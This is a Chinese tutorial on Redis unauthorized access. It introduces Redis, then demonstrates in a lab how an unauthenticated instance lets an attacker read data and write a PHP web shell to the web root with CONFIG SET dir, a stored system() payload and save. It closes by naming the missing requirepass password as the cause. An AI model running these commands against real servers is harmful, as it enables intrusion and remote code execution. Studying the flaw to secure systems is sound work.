本文介绍一下Redis未授权访问简介

Redis是一个开源的使用ANSI C语言编写、支持网络、可基于内存亦可持久化的日志型、Key-Value数据库,并提供多种语言的API。从2010年3月15日起,Redis的开发工作由VMware主持。从2013年5月开始,Redis的开发由Pivotal赞助。

redis是一个key-value存储系统。和Memcached类似,它支持存储的value类型相对更多,包括string(字符串)、list(链表)、set(集合)、zset(sorted set –有序集合)和hash(哈希类型)。这些数据类型都支持push/pop、add/remove及取交集并集和差集及更丰富的操作,而且这些操作都是原子性的。在此基础上,redis支持各种不同方式的排序。与memcached一样,为了保证效率,数据都是缓存在内存中。区别的是redis会周期性的把更新的数据写入磁盘或者把修改操作写入追加的记录文件,并且在此基础上实现了master-slave(主从)同步。

之前看SRC刷过Redis未授权访问的漏洞

redis_0x1-2.png

那么下面我来揭开它的神秘面纱!

首先我下载了安装包。

redis_0x2.png

[ — 安装过程 自行百度 –]

安装好以后,我们启动redis服务:

/usr/share/redis/bin/redis-server /etc/redis.conf
vim /etc/redis.conf

在181行左右 我先注释访问密码。

然后启动redis-server

[root@localhost 桌面]# ps -A | grep redis
 3931 ?        00:00:00 redis-server

首先我先用客户端连接服务器:

[root@localhost 桌面]# redis-cli 
redis 127.0.0.1:6379> keys *
1) "about"
2) "user:id1"
3) "user:id2"
4) "admin"
5) "str"
redis 127.0.0.1:6379> get str
"ldjskjdsahdsaa"
redis 127.0.0.1:6379> 

可以看到能直接操作数据库。

下面我用另外一台服务器做安全测试

[root@localhost 桌面]# redis-cli -h 10.10.3.215
redis 10.10.3.215:6379> keys *
1) "about"
2) "user:id1"
3) "user:id2"
4) "admin"
5) "str"
redis 10.10.3.215:6379> 

发现也是可以直接操作数据库

根据redis语句我们写webshell….

前提是知道绝对路径,当然也可以用语句判断。

redis 10.10.3.215:6379> CONFIG SET dir /var/wwwroot/
(error) ERR Changing directory: No such file or directory

可以发现不存在,那么就可以猜解目录了。

下面我演示写webshell

redis 10.10.3.215:6379> CONFIG SET dir /usr/share/apache/htdocs/ #这里是站点绝对路径
OK
redis 10.10.3.215:6379> set shell "<?php echo system($_REQUEST[cmd])?>"
OK
redis 10.10.3.215:6379> CONFIG SET dbfilename shell.php
OK
redis 10.10.3.215:6379> save  #将内存中的数据保存到dbfilename中
OK
redis 10.10.3.215:6379> 

这样就getshell了

redis_0x4.png

下面看看这个未授权原因 在刚才的配置文件中,有一个选项 设置客户端连接后进行任何其他指定前需要使用的密码。 警告:因为redis速度相当快,所以在一台比较好的服务器下,一个外部的用户可以在一秒钟进行150K次的密码尝试,这意味着你需要指定非常非常强大的密码来防止暴力破解 requirepass [密码] 所以必须设置密码。 出现这类漏洞就是 配置不得当导致控制系统 执行任意代码 再深入还可以威胁主从服务器 及其他的数据库服务器。